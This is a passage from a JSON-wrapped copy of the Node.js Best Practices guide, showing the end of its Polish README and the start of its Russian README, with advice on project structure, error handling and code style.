spowodować straty finansowe, podszywanie się pod inne osoby i inne ryzyko.\n\n🔗 [**Czytaj więcej: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.polish.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Powrót na górę</a></p>\n\n# `7. Wersja robocza: Najlepsze praktyki dotyczące wydajności`\n\n## Nasi współpracownicy pracują nad tą sekcją. [Chciałbyś dołączyć?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. Nie blokuj pętli zdarzeń\n\n**TL;DR:** Unikaj zadań intensywnie wykorzystujących procesor, ponieważ będą blokować głównie jednowątkową pętlę zdarzeń i odciążą ją do dedykowanego wątku, procesu lub nawet innej technologii zależnej od kontekstu.\n\n**W przeciwnym razie:** Ponieważ pętla zdarzeń jest zablokowana, Node.js nie będzie w stanie obsłużyć innych żądań, co spowoduje opóźnienia dla równoczesnych użytkowników. **3000 użytkowników czeka na odpowiedź, treść jest gotowa do wyświetlenia, ale jedno pojedyncze żądanie blokuje serwerowi odesłanie wyników z powrotem**\n\n🔗 [**Czytaj więcej: Do not block the event loop**](./sections/performance/block-loop.polish.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Preferuj natywne metody JS, niż narzędzia ponad powierzchnią użytkownika, takie jak Lodash\n\n**TL;DR:** Korzystanie z bibliotek narzędziowych takich jak `lodash` i `underscore` w porównaniu z metodami natywnymi jest często bardziej karalne, ponieważ prowadzi do niepotrzebnych zależności i spowalnia działanie.\nNależy pamiętać, że wraz z wprowadzeniem nowego silnika V8 wraz z nowymi standardami ES, natywne metody zostały ulepszone w taki sposób, że są teraz o około 50% wydajniejsze niż biblioteki narzędziowe.\n\n**W przeciwnym razie:** Będziesz musiał utrzymywać mniej wydajne projekty, w których mógłbyś po prostu użyć tego, co było **już** dostępne lub zająć się kilkoma kolejnymi liniami w zamian za kilka dodatkowych plików.\n\n🔗 [**Czytaj więcej: Native over user land utils**](./sections/performance/nativeoverutil.polish.md)\n\n<br/><br/><br/>\n\n# Milestones\n\nAby utrzymać ten przewodnik i aktualizować go, stale aktualizujemy i ulepszamy wytyczne i najlepsze praktyki z pomocą społeczności. Możesz śledzić nasze [kamienie milowe](https://github.com/goldbergyoni/nodebestpractices/milestones) i dołączyć do grup roboczych, jeśli chcesz przyczynić się do tego projektu\n\n<br/>\n\n## Tłumaczenia\n\nWszystkie tłumaczenia pochodzą od społeczności. Z przyjemnością uzyskamy wszelką pomoc dotyczącą ukończonych, bieżących lub nowych tłumaczeń!\n\n### Ukończone tłumaczenia\n\n- ![BR](./assets/flags/BR.png) [Brazilian Portuguese](./README.brazilian-portuguese.md) - Dzięki uprzejmości [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Chinese](./README.chinese.md) - Dzięki uprzejmości [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Russian](./README.russian.md) - Dzięki uprzejmości [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polish](./README.polish.md) - Dzięki uprzejmości [Michal Biesiada](https://github.com/mbiesiad)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Dzięki uprzejmości [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Tłumaczenia w trakcie\n\n- ![FR](./assets/flags/FR.png) [French](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Hebrew ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korean](README.korean.md) - Courtesy of [Sangbeom Han](https://github.com/uronly14me) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanish](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turkish ([Discussion](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Steering Committee\n\nSpotkaj się z członkami komitetu sterującego - ludźmi, którzy pracują razem, aby zapewnić wytyczne i przyszłe kierunki projektu. Ponadto każdy członek komitetu prowadzi projekt śledzony w ramach naszych [projektów GitHub](https://github.com/goldbergyoni/nodebestpractices/projects).\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nNiezależny konsultant Node.js, który współpracuje z klientami w USA, Europie i Izraelu przy tworzeniu dużych aplikacji Node.js. Wiele z powyższych dobrych praktyk opublikowano po raz pierwszy na stronie [goldbergyoni.com](https://goldbergyoni.com). Dosięgnij Yoni'ego na [@goldbergyoni](https://github.com/goldbergyoni) lub [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 full-stack web engineer, entuzjasta Node.js & GraphQL\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Developer & Site Reliability Engineer z siedzibą w Nowej Zelandii, zainteresowany bezpieczeństwem aplikacji internetowych oraz architekturą i budowaniem aplikacji Node.js dla działania w skali globalnej.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nDoświadczony specjalista w JavaScript i jego ekosystemie - React, Node.js, MongoDB, prawie wszystko co wymaga użycia JavaScript / JSON w dowolnej warstwie systemu - tworzenie produktów przy użyciu platformy internetowej dla najbardziej rozpoznawalnych marek na świecie. Członek Fundacji Node.js, współpracujący przy inicjatywie redesign witryny internetowej komitetu społeczności.\n\n<br/>\n\n## Współpracownicy\n\nDziękujemy wszystkim wpółpracownikom! 🙏\n\nNasi współpracownicy są członkami, którzy regularnie współuczestniczą w repozytorium, sugerując nowe najlepsze praktyki, analizując problemy, sprawdzając pull requesty i wiele więcej. Jeśli chcesz pomóc nam poprowadzić tysiące ludzi do tworzenia lepszych aplikacji Node.js, przeczytaj nasze [wytyczne dla współpracowników](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                    [Ido Richter (Founder)](https://github.com/idori)                                    |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### Wcześniejsza współpraca\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Dziękujemy za uwagi\n\nDoceniamy każdy wkład, od poprawki pojedynczego słowa, po nową najlepszą praktykę. Zobacz naszych autorów i [dokumentację CONTRIBUTORS tutaj!](./README.md#contributors-)\n<br/><br/><br/>\n"
  },
  {
    "path": "README.russian.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js Лучшие практики\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Лучшие практики\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2085%20Best%20Practices-blue.svg\" alt=\"85 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20November%2012%202019-green.svg\" alt=\"Last update: Oct 12, 2019\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2012.12.0-brightgreen.svg\" alt=\"Updated for Node 12.12.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Следите за нами в Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nЧитайте на других языках: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** in progress! )](#translations)\n\n<br/>\n\n###### Создано и поддерживается нашим [руководящим комитетом](#steering-committee) and [соавторами](#collaborators)\n\n# Последние лучшие практики и новости\n\n- **✅ Новая лучшая практика:** 7.1: [Не блокируйте цикл событий](#-71-не-блокируйте-цикл-событий) by Keith Holliday\n\n- **🇷🇺 Перевод на русский:** Alex Ivanov недавно опубликовал [Russian translation](./README.russian.md)\n\n- **Мы ищем авторов текстов:** хотите помочь с примерами TypeScript? Пожалуйста, обратитесь, открыв вопрос.\n\n<br/><br/>\n\n# Добро пожаловать! 3 вещи, которые вы должны знать в первую очередь\n\n**1. На самом деле вы читаете десятки лучших статей Node.js -** этот репозиторий представляет собой краткий обзор и список наиболее популярных материалов по рекомендациям Node.js, а также материалов, написанных здесь соавторами.\n\n**2. Это самая большая подборка, и она растет каждую неделю -** в настоящее время представлено более 80 передовых практик, руководств по стилю и архитектурных советов. Новые выпуски и запросы на добавление, чтобы обновлять эту живую книгу, создаются каждый день. Мы бы хотели, чтобы вы внесли свой вклад здесь, будь то исправление ошибок в коде, помощь с переводами или предложение блестящих новых идей. Смотрите наши [правила написания здесь](./.operations/writing-guidelines.md).\n\n**3. У большинства лучших практик есть дополнительная информация -** большинство маркеров включают в себя ссылку **🔗 Подробнее**, которая расширяет практику с примерами кода, цитатами из выбранных блогов и дополнительной информацией.\n\n<br/><br/>\n\n## Оглавление\n\n1. [Практики структуры проекта (5)](#1-Практики-структуры-проекта)\n2. [Практики обработки ошибок (11)](#2-Практики-обработки-ошибок)\n3. [Практики стиля кода (12)](#3-Практики-стиля-кода)\n4. [Тестирование и общие методы контроля качества (12)](#4-Тестирование-и-общие-методы-контроля-качества)\n5. [Переход к производственным практикам (18)](#5-Переход-к-производственным-практикам)\n6. [Практики безопасности (25)](#6-Практики-безопасности)\n7. [Практики эффективности (2) (Работа в процессе️ ✍️)](#7-черновик-практики-эффективности)\n\n<br/><br/>\n\n# `1. Практики структуры проекта`\n\n## ![✔] 1.1 Структурируйте свое решение по компонентам\n\n**TL;DR:** Наихудшая ловушка для больших приложений -- поддержка огромной базы кода с сотнями зависимостей -- такой монолит замедляет разработчиков, поскольку они пытаются внедрить новые функции. Вместо этого разделите ваш код на компоненты, каждый получает свою собственную папку или выделенную кодовую базу, и убедитесь, что каждый модуль остается маленьким и простым. Посетите \"Подробнее\" ниже, чтобы увидеть примеры правильной структуры проекта.\n\n**Иначе:** Когда разработчики, которые пишут новые функции, изо всех сил пытаются понять влияние своих изменений и боятся сломать другие зависимые компоненты, развертывания становятся медленнее и рискованнее. Также считается сложнее масштабировать, когда все бизнес-единицы не разделены.\n\n🔗 [**Подробнее: Структурируйте свое решение по компонентам**](./sections/projectstructre/breakintcomponents.russian.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Выделяйте ваши компоненты в отдельный слой, держите Express в его границах\n\n**TL;DR:** Каждый компонент должен содержать \"слои\" -- выделенный объект для сети, логики и кода доступа к данным. Это не только четко разделяет задачи, но и значительно облегчает проверку и тестирование системы. Хотя это очень распространенный шаблон, разработчики API, как правило, смешивают слои, передавая объекты веб-слоя (Express req, res) в бизнес-логику и уровни данных - это делает ваше приложение зависимым и доступным только для Express.\n\n**Иначе:** Приложение, которое смешивает веб-объекты с другими слоями, не может быть доступно для тестирования кода, заданий CRON и других вызовов в обход Express.\n\n🔗 [**Подробнее: Выделяйте ваши компоненты в отдельный слой, держите Express в его границах**](./sections/projectstructre/createlayers.russian.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Оборачивайте общие утилиты в пакеты npm\n\n**TL;DR:** В большом приложении, которое составляет большую кодовую базу, универсальные утилиты, такие как регистратор, модуль шифрования и т.п., должны быть обернуты вашим собственным кодом и представлены как частные пакеты npm. Это позволяет делиться ими между несколькими кодовыми базами и проектами.\n\n**Иначе:** Вам придется изобрести собственный велосипед для развертывания и поддержания зависимостей.\n\n🔗 [**Подробнее: Оборачивайте общие утилиты в пакеты npm**](./sections/projectstructre/wraputilities.russian.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Разделяйте Express \"приложение\" и \"сервер\"\n\n**TL;DR:** Избегайте неприятной привычки определять все приложение [Express](https://expressjs.com/) в одном огромном файле -- разделите определение \"Экспресс\" как минимум на два файла: декларация API (app.js) и сетевые задачи (www). Для еще лучшей структуры локализуйте объявление API в компонентах.\n\n**Иначе:** Ваш API будет доступен для тестирования только через HTTP-вызовы (медленнее и намного сложнее создавать отчеты о покрытии). Скорее всего, вы не будете испытывать огромное удовольствие, если будете хранить сотни строк кода в одном файле.\n\n🔗 [**Подробнее: Разделяйте Express \"приложение\" и \"сервер\"**](./sections/projectstructre/separateexpress.russian.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Используйте безопасную и иерархическую конфигурацию с учетом среды\n\n**TL;DR:** Идеальная и безупречная конфигурация должна обеспечивать (а) считывание ключей из файла И из переменной среды, (б) хранение секретов вне основной кодовой базы, (в) иерархическую структуру для облегчения поиска. Есть несколько пакетов, которые могут помочь поставить галочку в большинстве таких полей, как [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), and [convict](https://www.npmjs.com/package/convict)\n\n**Иначе:** Невыполнение каких-либо требований к конфигурации приведет к срывам в работе разработчиков или devops-команды. А вероятно, и тех и других.\n\n🔗 [**Подробнее: Используйте конфигурацию с учетом среды, безопасную и иерархическую конфигурацию**](./sections/projectstructre/configguide.russian.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `2. Практики обработки ошибок`\n\n## ![✔] 2.1 Используйте Async-Await или обещания для обработки асинхронных ошибок\n\n**TL;DR:** Обработка асинхронных ошибок в стиле обратного вызова, вероятно, является самым быстрым путем в ад (еще говорят \"Callback Hell\" или \"The Pyramid of Doom\"). Лучший подарок, который вы можете сделать своему коду, -- это использовать надежную библиотеку обещаний или async-await, что позволяет использовать более компактный и знакомый синтаксис кода, такой как try-catch.\n\n**Иначе:** Callback-стиль Node.js, function(err, response), является многообещающим способом создания непригодного для использования кода из-за сочетания таких проблем, как обработка ошибок со случайным кодом, чрезмерные вложения и неудобные шаблоны проектирования.\n\n🔗 [**Подробнее: Используйте Async-Await или обещания для асинхронной обработки ошибок**](./sections/errorhandling/asyncerrorhandling.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Используйте только встроенный объект Error\n\n**TL;DR:** Многие выдают ошибки в виде строки или некоторого пользовательского типа -- это усложняет логику обработки ошибок и взаимодействие между модулями. Отклоните ли вы обещание, сгенерируете исключение или сгенерируете ошибку -- использование лишь встроенного объекта `Error` увеличит единообразие и предотвратит потерю информации.\n\n**Иначе:** При вызове какого-либо компонента нельзя быть уверенным, какой тип ошибок приходит в ответ -- это значительно затрудняет правильную обработку ошибок. Хуже того, использование пользовательских типов для описания ошибок может привести к потере информации о критических ошибках, таких как трассировка стека!\n\n🔗 [**Подробнее: Используйте только встроенный объект Error**](./sections/errorhandling/useonlythebuiltinerror.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Различайте операционные ошибки и ошибки программиста\n\n**TL;DR:** Операционные ошибки (например, API получил неверный ввод) относятся к таким случаям, когда влияние ошибки полностью осознается и может быть обработано вдумчиво. Ошибка программиста (например, попытка прочитать undefined-переменную) относится к неизвестным ошибкам, которые требуют безопасного перезапуска приложения.\n\n**Иначе:** Вы всегда можете перезапустить приложение, когда появляется ошибка, но зачем подводить ~5000 онлайн-пользователей из-за незначительной и прогнозируемой операционной ошибки? Обратное также не является идеальным -- отсутствие перезапуска приложения в случае, если возникла неизвестная проблема (ошибка программиста), может привести к непредсказуемому поведению. Понимание типа ошибки позволит действовать тактично и применять сбалансированный подход, основанный на предоставленном контексте.\n\n🔗 [**Подробнее: Различайте операционные ошибки и ошибки программиста**](./sections/errorhandling/operationalvsprogrammererror.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Обрабатывате ошибки централизованно, а не в промежуточных обработчиках Express\n\n**TL;DR:** Логика обработки ошибок, например, как уведомление по почте администратора или ведение журнала, должна быть инкапсулирована в выделенный и централизованный объект, который вызывается всеми точками входа (обработчиками Express, cron-задачами, юнит-тестами) при возникновении ошибки.\n\n**Иначе:** Отсутствие обработки ошибок в едином месте приведет к дублированию кода и, возможно, к неверной обработке ошибок.\n\n🔗 [**Подробнее: Обрабатывайте ошибки централизованно. Не в промежуточных слоях**](./sections/errorhandling/centralizedhandling.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Документирование ошибок API при использовании Swagger или GraphQL\n\n**TL;DR:** Пусть ваши вызовы API знают, какие ошибки могут прийти взамен, чтобы они могли обрабатывать их вдумчиво без сбоев. Для API RESTful это обычно делается с помощью каркасов документации, таких как Swagger. Если вы используете GraphQL, вы также можете использовать свою схему и комментарии.\n\n**Иначе:** Клиент API может принять решение о сбое и перезапуске только потому, что он получил ошибку, которую он не может понять. Примечание: вызывающим абонентом вашего API можете быть и вы сами (очень типично для микросервисной среды)\n\n🔗 [**Подробнее: Документироваие ошибок API при использовании Swagger или GraphQL**](./sections/errorhandling/documentingusingswagger.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Изящно выходите из процесса, когда в город приезжает незнакомец\n\n**TL;DR:** При возникновении неизвестной ошибки (ошибка разработчика, см. рекомендацию 2.3) - существует неопределенность в отношении работоспособности приложения. Обычная практика предполагает осторожный перезапуск процесса с использованием инструмента управления процессами, такого как [Forever](https://www.npmjs.com/package/forever) или [PM2](http://pm2.keymetrics.io/).\n\n**Иначе:** Когда происходит незнакомое исключение, некоторый объект может быть в неисправном состоянии (например, источник событий, который используется глобально и больше не генерирует события из-за некоторого внутреннего сбоя), и все будущие запросы могут давать сбой или вести себя безумно.\n\n🔗 [**Подробнее: Изящно выходите из процесса, когда неизвестное случается**](./sections/errorhandling/shuttingtheprocess.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Используйте надежный регистратор для улучшения видимости ошибок\n\n**TL;DR:** Набор развитых инструментов ведения журналов, таких как [Winston](https://www.npmjs.com/package/winston), [Bunyan](https://github.com/trentm/node-bunyan), [Log4js](http://stritti.github.io/log4js/) или [Pino](https://github.com/pinojs/pino) ускорит обнаружение и понимание ошибок. Так что забудьте о console.log.\n\n**Иначе:** Сканирование через console.logs или вручную через грязный текстовый файл без запросов инструментов или приличного просмотра журнала может занять вас на работе до поздна.\n\n🔗 [**Подробнее: Используйте проверенный логгер, чтобы увеличить видимость ошибок**](./sections/errorhandling/usematurelogger.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Тестируйте потоки ошибок, используя ваш любимый тестовый фреймворк\n\n**TL;DR:** Будь то профессиональный автоматический контроль качества или простое ручное тестирование разработчиком -- убедитесь, что ваш код не только удовлетворяет положительным сценариям, но также обрабатывает и возвращает правильные ошибки. Среды тестирования, такие как Mocha & Chai, могут легко справиться с этим (см. Примеры кода в \"Gist popup\").\n\n**Иначе:** Без тестирования, будь то автоматически или вручную, вы не сможете полагаться на свой код для возврата правильных ошибок. Без значения ошибок -- нет обработки ошибок.\n\n🔗 [**Подробнее: Тестируйте потоки ошибок с использованием вашей любимой тестовой среды**](./sections/errorhandling/testingerrorflows.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Находите ошибки и простои с использованием продуктов APM\n\n**TL;DR:** Продукты для мониторинга и производительности (a.k.a APM) проактивно измеряют вашу кодовую базу или API, чтобы они могли автоматически подсвечивать ошибки, сбои и медленные части, которые вы пропустили.\n\n**Иначе:** Вы можете потратить огромные усилия на измерение производительности и времени простоя API, возможно, вы никогда самостоятельно не узнаете, какие части кода в реально сценарии самые медленные, и как они влияют на UX.\n\n🔗 [**Подробнее: Обнаружение ошибок и простоев с использованием продуктов APM**](./sections/errorhandling/apmproducts.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Ловите необработанные отказы от обещаний\n\n**TL;DR:** Любое исключение, выданное в обещании, будет проглочено и отброшено, если разработчик не забудет явно обработать. Даже если ваш код подписан на `process.uncaughtException`! Преодолейте это, зарегистрировавшись на событие `process.unhandledRejection`.\n\n**Иначе:** Ваши ошибки будут проглочены и не оставят следов. Не о чем беспокоиться!\n\n🔗 [**Подробнее: Перехватывайте необработанные отказы от обещаний**](./sections/errorhandling/catchunhandledpromiserejection.russian.md)\n\n<br/><br/>\n\n## ![✔] 2.11. Быстро проваливайтесь, проверяя аргументы, используя выделенную библиотеку\n\n**TL;DR:** Это должно быть частью вашей лучшей практики Express - вводите данные API, чтобы избежать неприятных ошибок, которые потом будет намного сложнее отследить. Код проверки обычно утомителен, если вы не используете очень классную вспомогательную библиотеку, такую ​​как Joi.\n\n**Иначе:** Учтите это -- ваша функция ожидает числовой аргумент \"Скидка\", который вызывающая сторона забывает передать, позже ваш код проверяет, если Скидка !=0 (сумма разрешенной скидки больше нуля), тогда она позволит пользователю пользоваться скидкой. О, Боже, какая неприятная ошибка! Видишь?\n\n🔗 [**Подробнее: Быстро проваливайтесь, проверяя аргументы, используя выделенную библиотеку**](./sections/errorhandling/failfast.russian.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ Return to top</a></p>\n\n## ![✔] 2.12 Для полноты стектрейсов всегда делайте await промисам прежде чем вернуть их из функции\n\n**TL;DR:** Дабы не иметь пропусков вызовов в стектрейсах, при возвращении промисов всегда\nвыполняйте `return await`. Если функция возвращает промис то эта функция обязана быть объявлена\nкак `async` и явно разрешить промис через `await` прежде чем\nвернуть его\n\n**Иначе:** Функция возвращающая неразрешенный промис будет отсутствовать в стектрейсе. Такие\nпропуски, вероятнее всего, усложнят процесс понимания пути возникновения ошибки, особенно если\nпричина ненормального поведения как раз в отсутствующей функции и находится\n\n🔗 [**Подробнее: возвращение промисов**](./sections/errorhandling/returningpromises.russian.md)\n\n<p align=\"right\"><a href=\"#оглавление\">⬆ К началу</a></p>\n\n# `3. Практики стиля кода`\n\n## ![✔] 3.1 Используйте ESLint\n\n**TL;DR:** [ESLint](https://eslint.org) является стандартом де-факто для проверки возможных ошибок кода и исправления стиля кода не только для выявления проблем с пробелами, но и для выявления серьезных анти-паттернов, которые выдают разработчики ошибки без классификации. Хотя ESLint может автоматически исправлять стили кода, другие инструменты, такие как [prettier](https://www.npmjs.com/package/prettier) и [beautify](https://www.npmjs.com/package/js-beautify) более эффективны при форматировании исправлений и работают совместно с ESLint.\n\n**Иначе:** Разработчики сосредоточатся на утомительных проблемах с интервалами и шириной линии, и время может быть потрачено впустую на продумывание стиля кода проекта.\n\n🔗 [**Подробнее: Использование ESLint и Prettier**](./sections/codestylepractices/eslint_prettier.russian.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Специальные плагины Node.js\n\n**TL;DR:** Помимо стандартных правил ESLint, которые охватывают ванильный JavaScript, добавьте специальные плагины Node.js, например [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) и [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security).\n\n**Иначе:** Многие неисправные шаблоны кода Node.js могут скрыться за радаром. Например, разработчикам могут потребоваться файлы (variableAsPath) с переменной, указанной в качестве пути, которая позволяет злоумышленникам выполнить любой сценарий JS. Линтеры Node.js могут обнаружить такие паттерны и заранее сообщить о проблеме.\n\n<br/><br/>\n\n## ! [✔] 3.3 Начинайте кодовый блок фигурными скобками на той же линии\n\n**TL;DR:** Открывающие фигурные скобки блока кода должны находиться на той же строке, что и оператор открытия.\n\n### Пример кода\n\n```javascript\n// Делайте так\nfunction someFunction() {\n  // code block\n}\n\n// Избегайте\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**Иначе:** Отклонение от этой передовой практики может привести к неожиданным результатам, как видно из топика StackOverflow ниже:\n\n🔗 [**Подробнее:** \"Why do results vary based on curly brace placement?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ! [✔] 3.4 Разделяйте свои выражения правильно\n\nНезависимо от того, используете ли вы точки с запятой или нет для разделения своих операторов, знание общих ошибок неправильных разрывов строк или автоматической вставки точек с запятой поможет вам устранить обычные синтаксические ошибки.\n\n**TL;DR:** Используйте ESLint для получения информации о проблемах разделения. [Prettier](https://prettier.io/) или [Standardjs](https://standardjs.com/) могут автоматически решить эти проблемы.\n\n**Иначе:** Как видно из предыдущего раздела, интерпретатор JavaScript автоматически добавляет точку с запятой в конце оператора, если его нет, или считает, что оператор не завершен, где он должен, что может привести к нежелательным результатам. , Вы можете использовать присваивания и избегать немедленного вызова выражений функций для предотвращения большинства непредвиденных ошибок.\n\n### 3.4 Пример кода\n\n```javascript\n// Делайте так\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Делайте так\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Избегайте — будет выброшена ошибка\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Избегайте — будет выброшена ошибка\nconst count = 2 // it tries to run 2(), but 2 is not a function\n(function doSomething() {\n  // do something amazing\n}())\n// ставим точку с запятой перед непосредственно вызванной функцией, после определения const сохраняем возвращаемое значение анонимной функции в переменной или вообще избегаем последовательного написания IIFE\n```\n\n🔗 [**Подробнее:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Подробнее:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Назовите свои функции\n\n**TL;DR:** Назовите все функции, включая замыкания и обратные вызовы. Избегайте анонимных функций. Это особенно полезно при профилировании приложения узла. Обозначение всех функций позволит вам легко понять, на что вы смотрите при проверке снимка памяти.\n\n**Иначе:** Отладка производственных проблем с использованием дампа ядра (снимка памяти) может стать сложной, так как вы замечаете значительное потребление памяти анонимными функциями.\n\n<br/><br/>\n\n## ![✔] 3.6 Используйте соглашения об именах переменных, констант, функций и классов\n\n**TL;DR:** Используйте **_lowerCamelCase_** при именовании констант, переменных и функций и **_UpperCamelCase_** (также с большой буквы) при именовании классов. Это поможет вам легко различать простые переменные/функции и классы, которые требуют реализации. Используйте описательные имена, но старайтесь, чтобы они были короткими.\n\n**Иначе:** Javascript -- это единственный язык в мире, который позволяет напрямую вызывать конструктор (\"Class\") без его инициализации. Следовательно, классы и конструкторы функций должщны различаться, начинаясь с UpperCamelCase.\n\n### 3.6 Пример кода\n\n```javascript\n// для класса мы используем UpperCamelCase\nclass SomeClassExample {}\n\n// для константы мы используем служебное слово const и lowerCamelCase\nconst config = {\n  key: \"value\",\n};\n\n// для переменных и функций мы используем lowerCamelCase\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Предпочитайте const, а не let. Забудьте var\n\n**TL;DR:** Использование `const` означает, что как только переменная назначена, она не может быть переназначена. Предпочтение `const` поможет вам не поддаваться искушению использовать одну и ту же переменную для разных целей и сделает ваш код более понятным. Если переменная должна быть переназначена, например, в цикле for используйте `let`, чтобы объявить ее. Другим важным аспектом `let` является то, что переменная, объявленная с ее использованием, доступна только в той области блока, в которой она была определена. `var` является областью функции, а не областью блока и [не должен использоваться в ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) теперь, когда у вас есть `const` и `let` в вашем распоряжении.\n\n**Иначе:** Отладка становится намного более громоздкой, когда необходимо следовать за переменной, которая часто изменяется.\n\n🔗 [**Подробнее: JavaScript ES6+: var, let, or const?** 